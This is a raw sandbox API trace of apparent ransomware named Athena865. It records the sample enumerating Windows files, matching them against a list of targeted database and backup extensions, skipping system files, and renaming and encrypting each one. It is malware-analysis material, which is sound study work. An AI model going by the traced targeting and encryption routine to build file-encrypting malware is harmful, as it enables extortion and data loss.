[0115.978] lstrlenW (lpString="nv") returned 2 [0115.978] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0115.978] lstrlenW (lpString="nv2") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0115.979] lstrlenW (lpString="nwdb") returned 4 [0115.979] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0115.979] lstrlenW (lpString="nyf") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0115.979] lstrlenW (lpString="odb") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.979] lstrlenW (lpString="odb") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.979] lstrlenW (lpString="oqy") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0115.979] lstrlenW (lpString="ora") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0115.979] lstrlenW (lpString="orx") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0115.979] lstrlenW (lpString="owc") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0115.979] lstrlenW (lpString="p96") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0115.979] lstrlenW (lpString="p97") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0115.979] lstrlenW (lpString="pan") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0115.979] lstrlenW (lpString="pdb") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0115.979] lstrlenW (lpString="pdm") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0115.979] lstrlenW (lpString="pnz") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0115.979] lstrlenW (lpString="qry") returned 3 [0115.979] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0115.980] lstrlenW (lpString="qvd") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0115.980] lstrlenW (lpString="rbf") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0115.980] lstrlenW (lpString="rctd") returned 4 [0115.980] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0115.980] lstrlenW (lpString="rod") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0115.980] lstrlenW (lpString="rodx") returned 4 [0115.980] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0115.980] lstrlenW (lpString="rpd") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0115.980] lstrlenW (lpString="rsd") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0115.980] lstrlenW (lpString="sas7bdat") returned 8 [0115.980] lstrcmpiW (lpString1="RSON.DLL", lpString2="sas7bdat") returned -1 [0115.980] lstrlenW (lpString="sbf") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0115.980] lstrlenW (lpString="scx") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0115.980] lstrlenW (lpString="sdb") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0115.980] lstrlenW (lpString="sdc") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0115.980] lstrlenW (lpString="sdf") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0115.980] lstrlenW (lpString="sis") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0115.980] lstrlenW (lpString="spq") returned 3 [0115.980] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0115.980] lstrlenW (lpString="te") returned 2 [0115.980] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0115.981] lstrlenW (lpString="teacher") returned 7 [0115.981] lstrcmpiW (lpString1="SON.DLL", lpString2="teacher") returned -1 [0115.981] lstrlenW (lpString="tmd") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0115.981] lstrlenW (lpString="tps") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0115.981] lstrlenW (lpString="trc") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.981] lstrlenW (lpString="trc") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0115.981] lstrlenW (lpString="trm") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0115.981] lstrlenW (lpString="udb") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0115.981] lstrlenW (lpString="udl") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0115.981] lstrlenW (lpString="usr") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0115.981] lstrlenW (lpString="v12") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0115.981] lstrlenW (lpString="vis") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0115.981] lstrlenW (lpString="vpd") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0115.981] lstrlenW (lpString="vvv") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0115.981] lstrlenW (lpString="wdb") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0115.981] lstrlenW (lpString="wmdb") returned 4 [0115.981] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0115.981] lstrlenW (lpString="wrk") returned 3 [0115.981] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0115.982] lstrlenW (lpString="xdb") returned 3 [0115.982] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0115.982] lstrlenW (lpString="xld") returned 3 [0115.982] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0115.982] lstrlenW (lpString="xmlff") returned 5 [0115.982] lstrcmpiW (lpString1="N.DLL", lpString2="xmlff") returned -1 [0115.982] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.Athena865") returned 78 [0115.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.athena865"), dwFlags=0x1) returned 1 [0115.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0115.985] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=217984) returned 1 [0115.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0115.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519c40 [0115.985] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0115.986] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.986] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0115.986] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35680, lpName=0x0) returned 0x17c [0115.989] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35680) returned 0x170000 [0116.000] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.001] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.001] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.001] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.002] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.004] CloseHandle (hObject=0x17c) returned 1 [0116.004] CloseHandle (hObject=0x154) returned 1 [0116.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0116.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.005] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".") returned 1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="..") returned 1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="windows") returned -1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="bootmgr") returned 1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="temp") returned -1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="pagefile.sys") returned -1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="boot") returned 1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="ids.txt") returned -1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="ntuser.dat") returned -1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="perflogs") returned -1 [0116.005] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="MSBuild") returned -1 [0116.005] lstrlenW (lpString="FPLACE.DLL") returned 10 [0116.005] lstrcpyW (in: lpString1=0x241e8ba, lpString2="FPLACE.DLL" | out: lpString1="FPLACE.DLL") returned="FPLACE.DLL" [0116.005] lstrlenW (lpString="FPLACE.DLL") returned 10 [0116.005] lstrlenW (lpString="Athena865") returned 9 [0116.006] lstrcmpiW (lpString1="PLACE.DLL", lpString2="Athena865") returned 1 [0116.006] lstrlenW (lpString=".dll") returned 4 [0116.006] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".dll") returned 1 [0116.006] lstrlenW (lpString=".lnk") returned 4 [0116.006] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".lnk") returned 1 [0116.006] lstrlenW (lpString=".ini") returned 4 [0116.006] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".ini") returned 1 [0116.006] lstrlenW (lpString=".sys") returned 4 [0116.006] lstrcmpiW (lpString1="FPLACE.DLL", lpString2=".sys") returned 1 [0116.006] lstrlenW (lpString="FPLACE.DLL") returned 10 [0116.006] lstrlenW (lpString="bak") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0116.006] lstrlenW (lpString="ba_") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0116.006] lstrlenW (lpString="dbb") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0116.006] lstrlenW (lpString="vmdk") returned 4 [0116.006] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0116.006] lstrlenW (lpString="rar") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0116.006] lstrlenW (lpString="zip") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0116.006] lstrlenW (lpString="tgz") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0116.006] lstrlenW (lpString="vbox") returned 4 [0116.006] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0116.006] lstrlenW (lpString="vdi") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0116.006] lstrlenW (lpString="vhd") returned 3 [0116.006] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0116.007] lstrlenW (lpString="vhdx") returned 4 [0116.007] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0116.007] lstrlenW (lpString="avhd") returned 4 [0116.007] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0116.007] lstrlenW (lpString="db") returned 2 [0116.007] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0116.007] lstrlenW (lpString="db2") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0116.007] lstrlenW (lpString="db3") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0116.007] lstrlenW (lpString="dbf") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0116.007] lstrlenW (lpString="mdf") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0116.007] lstrlenW (lpString="mdb") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0116.007] lstrlenW (lpString="sql") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0116.007] lstrlenW (lpString="sqlite") returned 6 [0116.007] lstrcmpiW (lpString1="CE.DLL", lpString2="sqlite") returned -1 [0116.007] lstrlenW (lpString="sqlite3") returned 7 [0116.007] lstrcmpiW (lpString1="ACE.DLL", lpString2="sqlite3") returned -1 [0116.007] lstrlenW (lpString="sqlitedb") returned 8 [0116.007] lstrcmpiW (lpString1="LACE.DLL", lpString2="sqlitedb") returned -1 [0116.007] lstrlenW (lpString="xml") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0116.007] lstrlenW (lpString="$er") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0116.007] lstrlenW (lpString="4dd") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0116.007] lstrlenW (lpString="4dl") returned 3 [0116.007] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0116.008] lstrlenW (lpString="^^^") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0116.008] lstrlenW (lpString="abs") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0116.008] lstrlenW (lpString="abx") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0116.008] lstrlenW (lpString="accdb") returned 5 [0116.008] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0116.008] lstrlenW (lpString="accdc") returned 5 [0116.008] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0116.008] lstrlenW (lpString="accde") returned 5 [0116.008] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0116.008] lstrlenW (lpString="accdr") returned 5 [0116.008] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0116.008] lstrlenW (lpString="accdt") returned 5 [0116.008] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0116.008] lstrlenW (lpString="accdw") returned 5 [0116.008] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0116.008] lstrlenW (lpString="accft") returned 5 [0116.008] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0116.008] lstrlenW (lpString="adb") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.008] lstrlenW (lpString="adb") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0116.008] lstrlenW (lpString="ade") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0116.008] lstrlenW (lpString="adf") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0116.008] lstrlenW (lpString="adn") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0116.008] lstrlenW (lpString="adp") returned 3 [0116.008] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0116.009] lstrlenW (lpString="alf") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0116.009] lstrlenW (lpString="ask") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0116.009] lstrlenW (lpString="btr") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0116.009] lstrlenW (lpString="cat") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0116.009] lstrlenW (lpString="cdb") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0116.009] lstrlenW (lpString="ckp") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0116.009] lstrlenW (lpString="cma") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0116.009] lstrlenW (lpString="cpd") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0116.009] lstrlenW (lpString="dacpac") returned 6 [0116.009] lstrcmpiW (lpString1="CE.DLL", lpString2="dacpac") returned -1 [0116.009] lstrlenW (lpString="dad") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0116.009] lstrlenW (lpString="dadiagrams") returned 10 [0116.009] lstrlenW (lpString="daschema") returned 8 [0116.009] lstrcmpiW (lpString1="LACE.DLL", lpString2="daschema") returned 1 [0116.009] lstrlenW (lpString="db-journal") returned 10 [0116.009] lstrlenW (lpString="db-shm") returned 6 [0116.009] lstrcmpiW (lpString1="CE.DLL", lpString2="db-shm") returned -1 [0116.009] lstrlenW (lpString="db-wal") returned 6 [0116.009] lstrcmpiW (lpString1="CE.DLL", lpString2="db-wal") returned -1 [0116.009] lstrlenW (lpString="dbc") returned 3 [0116.009] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0116.009] lstrlenW (lpString="dbs") returned 3 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0116.010] lstrlenW (lpString="dbt") returned 3 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0116.010] lstrlenW (lpString="dbv") returned 3 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0116.010] lstrlenW (lpString="dbx") returned 3 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0116.010] lstrlenW (lpString="dcb") returned 3 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0116.010] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0116.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.Athena865") returned 77 [0116.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.athena865"), dwFlags=0x1) returned 1 [0116.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0116.011] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=181120) returned 1 [0116.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519c40 [0116.012] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.012] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.012] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.013] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c680, lpName=0x0) returned 0x17c [0116.014] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c680) returned 0x170000 [0116.024] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.024] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.024] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.024] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.025] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.025] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0116.027] CloseHandle (hObject=0x17c) returned 1 [0116.027] CloseHandle (hObject=0x154) returned 1 [0116.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0116.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.028] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".") returned 1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="..") returned 1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="windows") returned -1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="bootmgr") returned 1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="temp") returned -1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="pagefile.sys") returned -1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="boot") returned 1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="ids.txt") returned -1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="ntuser.dat") returned -1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="perflogs") returned -1 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="MSBuild") returned -1 [0116.028] lstrlenW (lpString="FSTOCK.DLL") returned 10 [0116.028] lstrcpyW (in: lpString1=0x241e8ba, lpString2="FSTOCK.DLL" | out: lpString1="FSTOCK.DLL") returned="FSTOCK.DLL" [0116.028] lstrlenW (lpString="FSTOCK.DLL") returned 10 [0116.028] lstrlenW (lpString="Athena865") returned 9 [0116.028] lstrcmpiW (lpString1="STOCK.DLL", lpString2="Athena865") returned 1 [0116.028] lstrlenW (lpString=".dll") returned 4 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".dll") returned 1 [0116.028] lstrlenW (lpString=".lnk") returned 4 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".lnk") returned 1 [0116.028] lstrlenW (lpString=".ini") returned 4 [0116.028] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".ini") returned 1 [0116.029] lstrlenW (lpString=".sys") returned 4 [0116.029] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2=".sys") returned 1 [0116.029] lstrlenW (lpString="FSTOCK.DLL") returned 10 [0116.029] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.Athena865") returned 77 